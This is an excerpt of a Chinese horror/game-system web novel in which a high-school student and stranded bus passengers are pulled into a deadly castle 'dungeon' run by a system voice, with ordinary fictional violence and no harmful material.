《反派宣言》
1. 世界重启
大雨倾盆,五色光芒倒映在水洼中,又被一只脚瞬间踏成水花四溅。
“借借……借过一下,不好意思!”男孩胸前挂着书包,小心地避开人群,钻上了最后一趟公交。
随着滴的一声支付成功的声音,他松了一口气。左右张望了一下,找了个四下无人的角落坐下。
他浑身都湿透了,发稍和衣角不停滴落水滴,男孩局促地将溢出的水捧在手心,却只是徒劳,水滴在地面慢慢汇聚成细流。
“据前线最新报道——”
班车上的电台发出沙哑的声音。
“目前已经有半数地区陷入恐怖势力的统治中……联合协和正在努力与各方势力协助救援战区中民众,愿广大群众远离战区封锁地带!相信联合协会!联合协会万岁!”
车厢里传来一阵阵叹息声,车上零零散散坐着一些人,除了一些疲惫的上班族,还有几个穿着破破烂烂的衣服,显然是刚从沦陷区逃脱的。
黑暗中,什么东西踩着积水慢慢朝男孩靠近,可他浑然不知,只是低着头,窗外的灯光透过玻璃映在他的脸上。
一件外套突然递到了他面前,男孩抬起头来。
一个中年男人,满脸胡子拉碴,眼神担忧地看着他。
“怎么出门都不带个伞?你看浑身都湿透了……快披上,不然待会感冒了。”男人嘴里叼着烟,含糊地埋怨道。
男孩愣了一下,眼前这个陌生人的关心让他有些措手不及,他摆手刚想拒绝。
男人却已经强硬地把衣服披在了他身上,重新坐回了座位上。
班车依旧在大雨中前行,一路颠簸,青年的注意却全在男人身上。
眼前的男人坐在他的斜前面,穿着一件衬衫,但发达的肌肉却将衬衫夸张地顶起,显得极其不合身。
不知为何,对方突然转过了头来,俩个人四目相对,男人善意地笑了笑。
青年瞬间低头不再偷看,心说真尴尬,偷窥别人还被发现了。
“嗨——”
一只手突然拍了拍他的肩膀,青年转过头去。
一个少女背手,笑着看着他。
“你好,夏、炘、也。”少女歪着头,眼睛眯成了一条缝,一字一顿的说道。
“很高兴,认识你!”说罢伸出一只手,似乎想要握手。
夏炘也呆呆地看着眼前的少女,一头齐肩短发,穿着一套普通的运动款校服,应该和他一样是附近高中的学生。
“你……你怎么知道我的名字?”他诧异地问道。
“哈哈,最后一门科目,我们在同一个考场考试,你忘记了吗?”女孩回答道,“不过我坐在你后面,你不记得也正常。”
青年定定看了她一会,才站了起来,和对方握了握手。
她的手上有一层厚厚的老茧,青年愣了一下。
女孩轻笑一声,坐在了他身后。
“我还不知道……你的名字?”夏炘也后知后觉地回头。
“我呀?”她拖着下巴,依旧笑着看着他,突然话锋一转。
“你相信神明的存在吗?”
“神?”夏炘炘也微微一怔。在这个战争阴云笼罩的世界,这个问题听起来既天真又奢侈。车窗外的雨声似乎小了些,电台里沙哑的播报声还在重复着战区的惨状。
他沉默了一下,眼眸中闪烁着暗淡的光芒,“如果神明真的存在,为什么会对这些苦难视而不见?”他指了指车上那些从沦陷区逃出来、衣衫褴褛的人,声音很轻,更像是在自言自语。
但女孩的目光依旧灼灼,仿佛非要一个答案不可。他转过头,对上那双眯成缝的笑眼,语气出乎意料地坚定:“我不相信高高在上的神明。”
话音落下的瞬间,雨声诡异地彻底消失了,车厢陷入一种真空般的寂静。
“但我相信,”他顿了顿,目光直视着女孩的脸,“这个世界上,一定存在某种……难以解释的、无所不能的力量。”
整个车厢,不,世界好像在这一瞬间静止了一般。仔细听,刚刚淅沥的雨声恍若戛然而止。
【叮——地球重启中,当前进度51%。】
车窗山倒印着女孩的笑脸,与灯光辉映在一起,分外诡谲。
“我叫谢幕。”
两道声音重叠在一起。
夏炘也心里正默念着这个名字,突然他感觉车身剧烈震动起来,在他还没与反应过来的时候,班车似乎受到了某种剧烈的撞击,周围玻璃一个接一个爆裂开来,身体因为惯性猛的向车顶撞去,一阵阵钻心的疼痛从他的后背蔓延开来,他眼前一片眩晕,在失去意识的最后一秒,他看见谢幕静静站在车厢的正中,碎裂的玻璃碎片将她的身影分割成无数道,仿佛并不处在这个空间。
再醒来时,头昏沉沉的,耳边的雨声不知何时停了,取而代之的是车厢内闹哄哄的争吵。夏炘炘也揉了揉眼睛,看向窗外——玻璃外不再是熟悉的城市霓虹,一片幽暗的森林。
他撑着椅子站了起来,发现一群人围在驾驶室门口,不停敲打着厚厚的磨砂玻璃。
终于,只见之前给他披外套的男子用力一踹,玻璃不堪重负碎落一地。
“终于开了,这车你怎么开的!我们现在在哪里?你必须给我们一个说法!”一个男人对这里面怒吼道。
可驾驶室空无一人。
“这好像是协会新投放的无人驾驶汽车……”
“该死的!”男人听罢还不死心的蹲下查看,确认没人后狠狠拍了一把驾驶台,误打误撞的,车门混合着树枝断裂的声音缓缓打开。
“协会天天倒腾这些破玩意,其他啥也不干……”男人还在咒骂,却不见周围的人变了脸色。
“都冷静!在车里吵到天亮也没用。门开了,与其等死,不如出去找条活路。”一个中年女人站了出来。
夏炘也环顾四周,他们现在似乎身处一片密林当中,这班车只在城区活动,不可能出现在这种地方。
“你自己看看!这种鸟不拉屎的地方往哪里走!”男人越说越上头,脸都涨红了。
“外面有一条小路。”一道声音从外面出传来。
不知道什么时候,先前的那个给衣服的大叔已经站在了门外不知道在思索些什么。
众人顺着他的目光看去,一条羊肠小路蜿蜒向森林深处而去。
门外的男人眉头紧锁,好像遇到了什么天大的难事。
夏炘也探出身子,瞬间明白了这是为什么,一条仅容一人通过的小路从他们车底下开始向未知深处而去,车的另外一侧是灌木丛生的茂林,这条道路没有起点,或者说本就是一这辆车为起点,现在替森林向他们发出邀请。
他一脚踏上了柔软的土地,又发现了一个古怪的事情,那条小道上,一串清晰的脚印,朝远处走去。
土地潮湿,那脚印显然是最近,甚至刚刚才留下的。
谢幕呢?似乎从自己醒来开始,就再也没见过她。
“刚刚有个女孩,没等车门开,变打开窗户翻出去了。我想拦,可她动作太快了。”男人咬着烟嘴道,“你是不是认识那个女孩,我刚刚好像看见你俩打招呼。”
夏炘也静了一下点了点头,“她顺着这条路走的吗?”
“应该是,当时窗外起雾了,我也看不清楚。”
听罢,青年将身上的那件外套脱了下来叠整齐放到了男人怀里,拿起座位上的包也顺着路走去。
“你这是做什么?”男人急了心说怎么一个二个
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都那么冲动。
“我得去找她,她一个人我不放心。”
“你一个孩子,去了有什么用,你知道森林里都有些什么吗?你什么都不知道就敢闯进去。”
男人想拦他,却发现身后又有两个身影窜了出去,差点被撞向一边草丛。
定睛一看原来是那两个穿着破烂的人,只是眨眼的功夫,三个人一前一后小跑着消失在小路尽头。
众人都是一脸懵逼,不知道该如何是好。
男人的眉头皱的更深了,半晌后他才开口道,“我们还是顺着路往前走走看吧。”
“去什么去!”之前砸驾驶室的男人第一个否认,“都过来看看怎么开这破车,只要有一小片空地,就能开车冲出去知道吗。裸着个身子还想徒步森林啊?”
“是倒是,但是这车连个方向盘都没有,咋开呀?”有人质疑道。
周围的人面面相觑开始迟疑起来。
“各位收拾一下随身物品,跟我走吧。”男人站了出来,掏出一样东西,是一张退伍军人证,上面写着他的名字——俞正则。
“到了森林里,我会负责保证大家的安全。”
有人对自己的生命安全来保障,大部分人都明白不可以坐以待毙,忙都跟上脚步,只有砸车男人保抱手坐在椅子上,神色鄙夷地看着忙碌的身影。
“你们就去吧!到时候可别缺胳膊少腿的回来。”
没有人喜欢插足别人的决定,便放任他一个人留在了车上。
踏入小路上的一瞬间,所有人脑海里同时响起了一道声音。
【请玩家在日落前抵达****】
有人察觉不对下意识回头看向班车的方向,却发现无论怎么往回走都再找不到了。
【温馨提示,**森林的小路似乎一直在变化】
……
小路的上方被遮天的树冠覆盖,只是偶尔透过几缕阳光。
夏炘也本以为要走很久,没想到很快眼前便出现了一个中世纪古堡,通体黑色,矗立在密林中,安静地等待着它的猎物。
“恭候您多时了,先生。我是戴维,这座城堡的管家,”一道低沉的男声传过来,一个身穿西装马甲的男人浅浅剧了一个躬,“愿意为您效劳。”
戴维梳着一丝不苟的发型,皮肤苍白脸颊旁却泛着诡异的红晕,他穿着极其整洁,可是走进能一阵阵恶臭直往鼻孔里钻。
【恭喜玩家成功在日落之前抵达**城堡】
“您好,”夏炘也礼貌地回到,“请问这是哪里?您有没有看见一个穿蓝白运动服的女孩?”
戴维面带微笑,一双浑浊布满红血丝的眼睛无神地放在他身上“这里是塞勒姆夫人位于静谧之森的城堡,很抱歉,我只负责接应您,除此之外一直呆在城堡中,并没有见过您说的女孩,静谧之森只欢迎他们喜欢,遵守森林法则的客人,她应该落在了您后头。请跟我来,见夫人前您需要一件得体的衣服。”
夏炘也皱了皱眉头,面前这人看起来可不像个好人,他也并不想面见什么夫人,人类社会进步到如今,还有人会居住在中世纪古堡中吗?更何况在这前不着村后不着店的密林中。此时天刚刚擦黑,远远看去,城堡内部只是隐隐约约透出一点昏黄的烛光,他不免怀疑里面有没有通水电。
【请玩家跟随指引抵达下一任务点】
提示音响起,夏炘也却没着急动。
**城堡,他揣摩着听到的信息,他还记得在刚上路的时候,关于目的地的名字只有四声刺耳的电流声,现在却能够清晰的听到两个字。
目光望向眼前的庞然巨物,他抬不紧随戴维而去。
夏炘也相信,这座充满古怪的古堡,对于某人而言一定无法拒绝。
2. **古堡
夏炘也刚想摇头,准备顺着路继续走下去,戴维却开口了。
“十二点后,静谧之森将会苏醒,那时候它总是会闹起床气,不适合继续前进,而且,我以自己的人格担保,您的朋友必然会来到这个古堡。您先洗漱一番,到时候也好与您的朋友会面。”说罢做出一个请的姿势,语气却不容拒绝。
他又看了看自己的衣服,已经干了却皱巴巴,思索一会后抬脚,“你为什么这么笃定?”
“夫人最近准备举办宴会,静谧之森只有夫人允许才能开启进入,您的朋友,也是一样的。”戴维似乎还想说点什么,但最后又闭了嘴。
话是这样问,但夏炘也不知道为什么也认同了这个说法。
俩人经过前院,穿过重重走廊后来到更衣室换好衣服,夏炘也向窗外望去,才发现自己走过的不过是整座城堡的冰山一角,历史上真的存咋这样庞大的城堡吗?他心里隐隐有了一个猜测,只等一个验证。
“非常抱歉,夫人临时有事,我只能带您去前厅稍作休息,稍后管家会在那里和你们见面,交代宴会的相关事宜,夫人改日会再寻时间与您见面。”
什么宴会?为什么这个夫人的一定要见自己?
越来越大的疑惑开始笼罩在他心头。
不远处,古堡门口的门铃被轻轻拉响了,戴维脚步一顿,身子不知道为什么变得紧绷起来,不情愿地朝门口走去,独留夏炘也坐在前厅的红丝绒沙发上。
古堡顶端,黑暗的房间里,女人身穿一身华贵宫廷裙,坐在胡桃木桌前,端详着手中的信件,突然,壁炉上系着的一个小铃铛剧烈晃动起来周围的女仆忙手忙脚乱冲过去接下来递到了她面前,女人看着眼前微微颤抖女孩,折叠眼镜后的眼睛眯了眯,不动声色地接过来放入了抽屉。
“我记得前不久艾丽给我送来了一壶森玫瑰花茶,你去准备一下。”夫人坐直了身子,静静等待着他的到来。
那人被戴维引进房间,拉开椅子,与塞勒姆夫人面对面坐着,透过茶杯上方弥漫的水汽,夫人注视着她的眼睛。
塞勒姆夫人给身边的女仆使了个眼色,将手中的信件推到了对面人的手边。
周围的女仆低着头,拿来一件整洁的衣服,眼睛小心的瞟着那个人。
“久闻大名,塞勒姆夫人。”女孩一头短发,上身穿着一件白色短袖,外套系在腰间,正是谢幕,不知道一路上都经历了什么,衣服上满是泥泞,看起来极为狼狈,还有几个大大小小的口子,此刻笑着看着眼前的贵妇人,一眼看去,很难想象这样的两人竟然能坐在一起。
塞勒姆轻哼一声没有回话,看着女孩身上的污渍皱眉,点了点信件示意对方看过去。
“这就是,我与你的交易。”
面前的贵妇严肃道,手指上的血鸽钻戒与信上的字一起刺激着谢幕。
【触发特殊任务“塞勒姆夫人的请求”,请玩家及时确认】
她勾了勾嘴角,手指轻触眼前飘浮在空中的光屏。
“确认”
“夏先生。”戴维没有起伏的声音传来。
夏炘也转过身来,戴维端来两个银质杯子。
“您想喝红酒还是新晾的红茶?”
青年显然愣了一下,张张嘴,嘴唇却干的快粘在一起,犹豫片刻后紧张地端详着手中的红茶,咬咬牙还是没喝下去。
他刚刚,对一切,有了一个不切实际但最能合理解释一切的猜测,他必须得对一切保持警惕。
戴维也没有强求,看见对方收下了夫人的礼物便完成任务准备退下。
这时,不远处传来几道急促的脚步声,俞正则的身影率先闯入他们的视线。
隔着老远,俞正则几乎是一瞬间便锁定了他,他张了张嘴,夏炘也点了点头算是告诉自己没事。
另一边,戴维脸色迅速变了又变,最后不动神色地从众人身边穿过。
“另外那个女孩呢?你没遇到她吗?”俞正则待走近才小声问道,再转头发现那先走的两人也不见踪影。
夏炘也摇摇头,刚想说点什么,突然一道宏亮的钟声响起,夹杂着那道机械音。
【叮咚,现在是十二点整,副本载入成功,系统屏障消失,请玩家注意。】
与此同时一道道蓝色光屏浮现,上面正实时记录着班车和古堡的各条走廊的画面。
画面中,那个留下来的男人正蜷缩着摊在地上,突然他好像听到了什么声音站了起来,朝窗外看去,他越靠越近最后脸全都贴在了玻璃上,然后他的眼睛猛的瞪大,好像才明白自己看到了什么,身体迅速后撤但已经晚了,只一瞬间,一股巨大的力量破开窗户朝他的头砸去。
他的头首指定分家了,如果视频是真的话,俞正则的经验告诉他,视频戛然而止,但惨叫声却一下子砸向了在场的众人。
“骗人的吧,你们是什么整蛊节目吗?”一个颤颤巍巍的声音传来,不少人都被吓坏了,眼神直勾勾的看着班车视频的最后一幕。
夏炘也的眼神却在不同的画面间不停穿梭,好像在寻找什么,这让他发现,先前在自己前面的两人,也在古堡中,不过,他们离前厅应该还有两个走廊的距离。
这一看,他这才发现不对劲,这俩人似乎在躲避什么,神情紧张地时不时朝后看去,而且,他们的速度,快的有些惊人了。
青年不由停住了目光陷入了思考,但砰地一声前厅的大门被破了开来,没想到只是眨眼的功夫,那两人就已经穿过数百米的走廊。
再定睛一看,其中一人的右小腿似乎是被什么东西撕扯下来的,丝丝缕缕的血迹滴落在大理石地板上。
砰地一声,大门重新关闭。
“诸位晚上好。”一道女声在这时候突然出现,迅速吸引了所有人的注意。
夏炘也循声看过去,看见谢幕穿这一身黑色管家分服,白色领子间,红宝石在灯光的辉映下散发出耀眼的光芒,衬得整个人都耀眼夺目,挪不开眼,很难和几个小时前的她联系起来。
一同响起的,还有系统冰冷的声音。
【副本名称**的城堡,副本难度未知,副本任务——三天内逃离城堡】
“欢迎各位来到塞勒姆夫人的领地。如你们所见,这里并非寻常之地,而你们,是夫人为‘双轨祭’特地招募的临时员工,负责期间的宴会准备。”她刻意加重了“临时”二字,声音在空旷的前厅里回荡。
她侧身,漏出身后幽深的长廊。“城堡有自己的规矩,希望大家在宴会期间服从命令,遵守古堡的规则,否则将会进行惩罚。”
她的视线若有若无地瞟过戴维,“至于惩罚……”谢幕轻轻一笑,没有说下去,但所有人都想起了光屏上那颗滚落的头颅,一股寒意从脊背窜起。
她没有细说惩罚是什么,但是刚刚冲击性的画面已经将众人吓得说不出话来。
“宴会什么时候开始?”那个断了小腿的男人咬着牙问道。
“宴会将会在明天开始,为期三天,明天开始准备。”说完谢幕闭上了嘴,带着其他人准备离开前厅。<
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p>“等等!”
戴维突然拦住了她,“他们这副模样怎么可以轻易住进夫人的堡垒,难道什么人都能让他们经手宴会的准备吗?”
说罢,眼神阴郁地扫过众人,不知道为什么,明明看过去是广袤无垠的森林,可俞正则他们走的时候,道路不仅崎岖泥泞,还莫名其妙出现一些裂谷深坑,哪怕是他走在前面探路,也摔进好几个人,幸亏发现及时没出什么大事,但身上都站满了杂草泥垢。
“你!”戴维仰着下巴点了点中间一个因为穿着不合身的厚重棉服而略显臃肿的女生。
“现在是夏季,女士应该穿着亚麻,纯棉制服饰,您的着穿不得体。”
女生身子一抖,低着头不说话。
戴维嗤笑一声:“盛夏时节裹着棉袄,抱歉,夫人喜欢清爽得体的客人,您这身打扮,实在有些……碍眼。”
他对着走廊做了一个请的姿势,显然是下了逐客令,女生顿时急了,“开玩笑!现在出去不是……”
话说一半她顿住,她这样回嘴不就更座实了她举止不端吗?
戴维笑意更盛,断正了身子。
就在他准备下一步行动时,谢幕开口道:“戴维先生,希望您明白,但在宴会相关的事宜都由我负责,包括人员的选择。”
男人笑意停住了,“但也应该,遵守古堡的规则。”男人不死心反驳道,眼神贪婪地游走在谢幕身后的女人身上。
“此次宴会重要性相比不用我多说。”谢幕超旁边大跨一步,挡住了戴维侵略的目光,“万一人手不够了,宴会出了什么意外,夫人怪罪下来……”
“不过想来戴维先生在古堡呆了那么多年,经手大大小小的宴会,恐怕比我有经验,还是交给您来吧。”
说完,谢幕漏出一个人畜无害的笑容,戴维的脸色却变了又变,最后咬咬牙。
“夫人把事情交给你,自然有夫人的道理,我现在就带他们去房间。”
戴维不屑地扫了身后的人一眼,示意他们跟上,众人不敢发抗,试探性地看了看谢幕。
女孩点了点头,众人这才跟了上去。
夏炘也看着谢幕,开口想说些什么谢幕却指了指身后,“你的房间在那边,跟我走。”
眼见身后谢幕二人的身影渐渐远去,戴维突然带着人拐了个弯朝相反方向走去。
“就在这里。”男人眯着眼睛看着眼前的人,冷声道,“今晚你们要把后厨里的碗碟都收拾干净,手脚麻利点,天亮前完不成的话,将会扣除你们的押金。“
后厨门打开,里面小山高的碗碟层层堆叠在一起微微晃动,似乎随时都会坍塌。
俞正则走进,碗边一团不知名的粘稠物稳稳落在他的脚边,这东西不知道放了多久,上面还隐隐约约可以看见扭动的蛆。
嗡嗡嗡,动静惊扰了附近的苍蝇,此时黑压压聚在上空。
众人一阵反胃,有人缩了缩脖子想往后走,这时那道冰冷的声音再次响起。
【任务颁布,请玩家在天亮前完成,否则将会随机失去身体的一部分】
随机这个事情就很看脸了,运气好,指甲、头发无关紧要,但万一随机失去的是心脏,头颅呢?
押金就是身体器官吗?俞正则脑子里想。
“那我们睡哪啊?”一个染着绿毛的小伙子梗着脖子问。
戴维似乎听到了什么可笑的问题,“临时工是没有房间的。”说完转身就走,走之前还吹灭了屋内唯一一盏灯。
整个房间瞬间陷入黑暗。
3. 窥真眼
夏炘也到达房间后,发现这个古堡的房间里竟然还带有浴缸,他把自己泡进了水里,只露出一双眼睛,脑子里思绪万千。
早在刚刚醒来的时候,他脑海里就跳跃这几个关键词——异界,穿越,转生,冒险……
他该怎样活下去,为什么会是自己,这是否是一种‘等价交换’?
但基于脑海里总在关键时出现的声音,答案已经呼之欲出。
这是一个‘副本’的世界,他们是被选中的玩家,在这个世界里拥有自己的特定身份,这应该也是他们能和那些奇怪的人共处的原因,他做下判断。
他并不觉得戴维是正常人,那么根据同类相吸的道理,夫人是人的概率就更小了。
那作为一个陌生的外来者,在戴维他们眼里,自己的角色真的只是一个临时工吗?他们的恭敬不像伪装。其他人呢?似乎这种身份的特殊性,只存在于自己……还有谢幕之间。夏炘也浸在水里,想道,如果这是个角色扮演游戏,我拿到的到底是什么剧本?戴维认识我,夫人认识我……谢幕是管家,那我,难道是这座古堡主人的“贵客”?。
咚咚咚,门这时突然被敲响了。
夏炘也呆了一瞬,手忙脚乱赶紧爬起来打开门,却发现是戴维站在门外。
“打扰了先生。”戴维端着一杯热牛奶,轻轻放在了桌子上,“祝您有个好梦。”
青年抿着嘴唇,表情看起来有些失落,但出于礼貌还是表示了感谢正想关门的时候,却被戴维拦住。
“哦对了先生,”他露出一口森森白牙,“临近宴会,总有心怀不轨的人想要偷偷混入古堡,为了保障您的安全,晚上睡觉的时候请不要熄灯,还有……”戴维这时间好像想象到了什么愉快的事情,“一点之后,如果您要外出走动,请拉响门边的铃,我会来接您。”
说完,他轻轻鞠了一躬,再次隐没黑暗中。
夏炘也碰一身关上门作为送别。
他重新回到浴缸旁,将水放掉的一瞬间,手指触摸上一块松动的瓷砖。
?
时针随着夜色的加深缓缓向前,走廊里一片漆黑,只有零星几个房间里透出的微弱光亮。
硕大的后厨,只有微弱的亮光勉强照亮。
那个长得鬼模鬼样的家伙临走前特意把灯吹灭,肯定不怀好意,于是他刚走,俞正则就赶紧翻了几根蜡烛尽量把整个空间照亮。
“给,苏迟。”俞正则擦了吧把汗,把新洗好的碗递给先前被为难的女孩,让她把碗堆到一边。
“你看见陈现了吗?”陈现是那个绿毛小伙的名字,俞正则对他印像很深。
苏迟摇摇头,“我去找找吧,顺便再拿点蜡烛。”蜡烛已经快要烧完了,再看看剩余过半的脏碗,显然今晚别想睡了,而且这些不少碗碟都大得出奇,不像人类常用的款式,他们轮流清洗,现在到她的休息时间了,她也顺便去帮忙找找人。
俞正则思考了一下,还是还是点头,“别走太远。”
她的身影很快被黑暗吞噬。
苏迟其实没有很想去找人,在一个诡异会出人命的古堡里,一个人莫名消失,大概率是遇到了什么危险,她去找人,就是去送。
于是她走进了一间开着门的房间,先前他们的蜡烛基本都是这样找的。
她拉开一个柜子,很快翻到了蜡烛,抬眼的时候发现柜子上贴着一层镜子,柜子对面又是一面落地镜,两面镜子此刻两两对望。
咚——一声轻微的钟声突然敲响,一点了。
苏迟被吓了一跳刚想关门,却发现镜子里,自己的身后不知道什么时候站了一个女人。
【恭喜玩家解锁特殊剧情】
系统的特殊播报否决了这是幻觉的可能。
她僵直在哪里不敢轻举妄动,身后的人却发生了变化,一道,两道……那人的手脚腕还有脖颈上,一道道鲜血流下,很快在地上汇聚了一汪血泊。
苏迟延了咽吐沫,目光飘向虚掩的房门,准备闭上眼睛偷偷溜走。
可那东西似乎不想放过她,一阵悠扬的歌声传来,声音越来越尖锐似乎要用这种方式将她的眼皮掀开。
她不再犹豫,直接冲向了门口的方向,砰一声重重撞上了什么东西。
“走开啊!”苏迟狠狠将手中的蜡烛扔了出去,哪怕知道可能只是徒劳,但她也不想放弃。
“怎么了?”出乎意料的是,一道人声传来。
歌声戛然而止。
睁开眼,谢幕手上端着一盏油灯,冷冷地看着她。
“晚上好,今晚由我来进行内部检查,我的工作是确认古堡内人员的工作状况,并且……形态完整。”谢幕平静的声音传来,“请您保持屋内灯火不熄。”
“没没什么。”苏迟警惕到,虽然谢幕刚刚为她解了围,但这并不能代表自己就能完全信任她。
谢幕的身份是管家,她始终牢记这一点。
“我来找点蜡烛。”刚刚丢出去的蜡烛滚去房间深处了她不敢去捡,而谢幕站在门口,没有让开的意思。
“你可以告诉我,我会帮你的。”苏迟再抬眼,发现对方一脸担忧地看着自己,她只觉得恐惧,自己与她非亲非故,为什么要照顾自己呢?连忙摇头,强装镇定走向了另一个柜子,重新找到了足够的蜡烛。
似乎见自己没有奇怪的举动,谢幕这才准备离开,屋内又只剩苏迟一人。
只有苏迟自己知道,她的眼前的景象,现在能找出三只眼睛,门缝那,谢幕黝黑的眸子意味不明,悄悄窥探着屋内的一切,镜子里,女人裂开了嘴,一双浑浊发白的眼珠子,静静地注视着自己。
然后,便随着吱呀的开门声,女人手抬了起来,向下指了指。
【恭喜玩家……】该死的声音再次响起。
另一条走廊的房间里,陈现甩了甩酸痛的胳膊,准备离开
什么声音?
窗户上倒映着疏疏的花影,不知是不是起风的原因,此刻不停地晃动发出扰人的杂音。
本来脑子里就一直被先前的恐怖景象吓得睡不着,现在再加上这个刺耳的声音,他索性站到了窗前,推开窗户点了一只烟深深吸了一口。
话说,这声音,怎么感觉有点刺耳过头了?他探出头向下看去,下方是一片茂密的花丛。
莫名其妙的,男人勾着脖子,失神般朝下探头去。
“你知道吗?你知道吗?你知……”
声音愈发清晰,原来那杂音是两道人声交杂在一起的声音。
夜色挥洒在花丛上,朦胧的水汽里,他看到了两个蹲在花丛里的身影。
“你知道吗?”俩人似乎发现了他,猛的转过头来,直勾勾的看着男人的眼睛问。
男人一愣,整个人都僵住了,眼前的两人明明离得那么近。却看不清面容,只是全身发白,白的与月光相比有过之而无不及,在夜色里十分瘆人,可他好像毫无察觉。
“知道什么?”男人半个身体已经挂在了墙边。
“这是什么?”俩个人指着身边的花丛,好像天真无邪的孩童,在询问眼里无所
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不知的长辈这是什么花一样普通。
是蔷薇花吧?
“蔷……”男人刚吐出一个字,他脑子突然被吓醒了,只见面前人的面容突然变得清晰,两个人的嘴角、眼尾都被锋利的工具划拉开两个大口子,使得俩人都保持一种诡异的哭泣表情,可眼睛里的兴奋与表情截然相反,就造就了眼前这副惊悚的场景。
他顿时吓得想要缩回屋内,可是手忙脚乱下,一个不稳整个身子都迅速朝下砸去。
两个怪物张大了下翘的嘴,等待着猎物自己送上门。
也就在这千钧一发之际,一股巨力扯着男人的腰带,将男人从死亡边缘拉了回来。
随着窗户重重关上的声音,一阵阵冷汗浸湿了他的身体,他整个人瘫坐在地上,俞正则半跪在他面前,手里将刚刚因为窗户外吹进来的风而变小的火烛重新调亮了些。
啪啪啪男人几个巴掌狠狠招呼到自己脸上,这才回过神来,把俞正则也吓了一跳忙制止他。
“大半夜的,你这是怎么了?”俞正则端详着陈现,他一向看人很准,对方看起来是那种有的游手好闲的家伙,胆子绝对不会小,什么东西把他吓成这样?
“俞哥……”陈生咽了咽口水,“那下边有妖精。”
俞正则本来眉头紧锁,听这话瞬间有些想笑,但对方抓着他却继续说道。
“你想想老四怎么死的!”
老四是留在车上的男人。
“那东西是长条状,触手?藤蔓?还有刚刚花丛里的东西!”男人越说越激动。
“我老家那边早就有说法,人对森林不敬是会遭报应的,你看战争,毁了多少……”
俞正则捂住了他的嘴,示意他小声。
屋内瞬间趋于平静,门外的脚步声清晰起来,但那声音应该不是为他们而来,只一会声音便消失在远处。
烛火的微光中,俩人的目光重新对视。
长夜漫漫,他们却没有时间细想,对于他们,眼下更重要的是能平安度过明天早上。
熟悉的机械音响起,夏炘也睁开眼睛从床上爬了起来。
【第一个任务地点,厨房,请玩家在十五分钟内赶到。】
他刚打开门,就对上戴维挂着笑意的脸,顿时吓了他一跳,心说他不会站在门外一晚上吧。
与夏炘也相反的是,戴维整个人一如既往的热情,耐心地送他到厨房这才去忙别的事情,不知道的还以为夏炘也是他的亲戚。
俩人来的时候,已经有不少人开始准备工作了,不过昨晚所有人几乎一夜都没合眼,现在脸上都带着厚重的黑眼圈,身上还有隐隐的恶臭味。
“那里是你们今天要处理的食材,也是宴会的第一道菜。”十五分钟到了后,发现所有人竟然都到齐了,戴维脸色微不可查的变了变,但依旧耐着性子,掀开了今天的第一道食材。
一张长桌上,一只只褪了毛白花花的鸡肉堆叠在一起。那些鸡身的大小并不匀称,有的胸腔异常宽阔,腿骨的弯曲角度也显得有些古怪,但都比他们印象中的鸡大得多。
空气中弥漫起一股恶臭。
夏炘也屏住了呼吸看着面前的鸡肉,戴维走上前和鸡肉同时出现在他视野里,还有他手上的菜刀。
“你们要把内脏剔出来,再把肉砍成小块。”他的话随着刀落下,鸡腿上的肌肉因为受力紧绷起来,随着骨肉分离,一只独属于人类,带有大面积白色巩膜的眼睛猛的睁开。
【收到任务——宴会食材准备】
【任务进度——0%】
4. 弈外弈
戴维的眼睛剜过在场的所有人,看见他们恐惧的神色才满意的漏出了笑容。
苏迟的接受度比昨晚高多了,面不改色的走上前,十分熟练地一刀将鸡的胸膛破开掏出里面的内脏。
俞正则和陈现对视一眼,陈现是农村来的,逢年过节不知道杀了多少只鸡,这玩意要是鸡那他这几十年真是白活了,不过花都成精的地方,鸡就算有六条腿他也不会再吃惊了,撸起袖子就准备起来,他熟练地将手钻进胸腔内一掏,与一只眼珠子来了个眼对眼。
陈现深吸一口气,肉上有眼睛,里面有眼睛也是正常的。
再一掏,一团漆黑的毛球裹挟着半干的血液静静缠绕在他指尖,湿滑,黏腻。
……
戴维注意到了这边,眼神慢慢锁定他,“这些都是准备给贵客的食材,一定得处理干净。”
陈现咽了咽唾沫一阵反胃,要不是是在厨房,他非得吐出来。
夏炘也一眼不发,他早就开始处理鸡肉的工作,此刻却停了下来,不知道在看什么。
他眼前的鸡腿上,钉着一个铁片,夏炘也总感觉,这和骨折手术后的钢板有些类似。
鸡也会做骨折手术吗?
等到所有人慢慢适应里手上那种恶心的触感后,戴维漏出了满意的微笑,优雅地迈过地上的垃圾走到夏炘也的面前。
“很抱歉先生,是我一时疏忽将您带错了地方,请跟我来。”
一瞬间,周围紧绷的人群目光都聚焦在了他身上。
夏炘也显然不习惯这种被注视的感觉,顿时呆住了。
直到戴维又比了个请的姿势,他这才抬脚跟上。
一种夹杂着审视与怀疑,甚至嫉妒的眼神不断在他身上扫过,不过,这些对他,早已经是家常便饭。
“不都是临时工吗?”陈现嘟囔了一句。
临走之前,夏炘也特意看了一眼俞正则,发现对方静静地看着自己离开。
平静?
顺着螺旋状的楼梯向上,到达一处走廊处的休息室。
楼下的腥臭味被一道厚重的木门隔绝,休息室内弥漫则一股冷冽的木质熏香味,十分刺鼻,好在丝绒座椅依旧柔软异常,将他舒服的包裹起来。
里面此时坐着一个男人,似乎也因为他的到来而感到好奇。
男人穿着得体的燕尾服,看不出年龄,一看就保养极好。他目光深邃,脸上带着和蔼的笑意,可打量夏炘也的眼神,却仿佛在审视一件重见天日的遗世珍宝,却是带着一种饶有兴致的玩味。
戴维恭敬地走上前,在男人耳边低语了什么,男人的神色顿时一变,但很快恢复之前那幅笑脸。
“啊,就是你啊,新朋友。”
戴维这次没有询问他的意见,端上了两杯葡萄酒。
男人笑着接过,轻轻抿了一口漏出陶醉的神色,他晃着酒杯,深红色的酒液倒映着面前这个在他眼里有些拘谨的男孩的身影。
“别紧张,我们才是自己人。戴维,你怎么能让我们尊贵的同伴,去做那些……粗活。”
夏炘也抬起头来,扫过他的胸前,发现上面别着一支蔷薇。
对方似乎注意到他的目光,笑着抽出胸口的那只花,“刚刚路过院子,看这花开得正艳,如果我不能时时刻刻欣赏,那花该多么遗憾,所以就给了它这个机会。”
摘花就摘花,好端端在枝头,谁稀罕被你欣赏,夏炘也内心吐槽,面上却不变,点了点头。
“哦对,忘了自我介绍。”男人在戴维耳边低语两句,随后站起身来,整理了一下袖口,优雅地鞠了一躬,“莱昂内尔·德·维尔福。”他的指尖划过绣在胸口的家徽,一只渡鸦,暗红色的眼睛在天鹅绒制礼服上,贪婪的凝视着他。
戴维从一旁端上来一个托盘,上面摆着一副牌。
一副花牌。
“或许你听说过哑石庄园。”
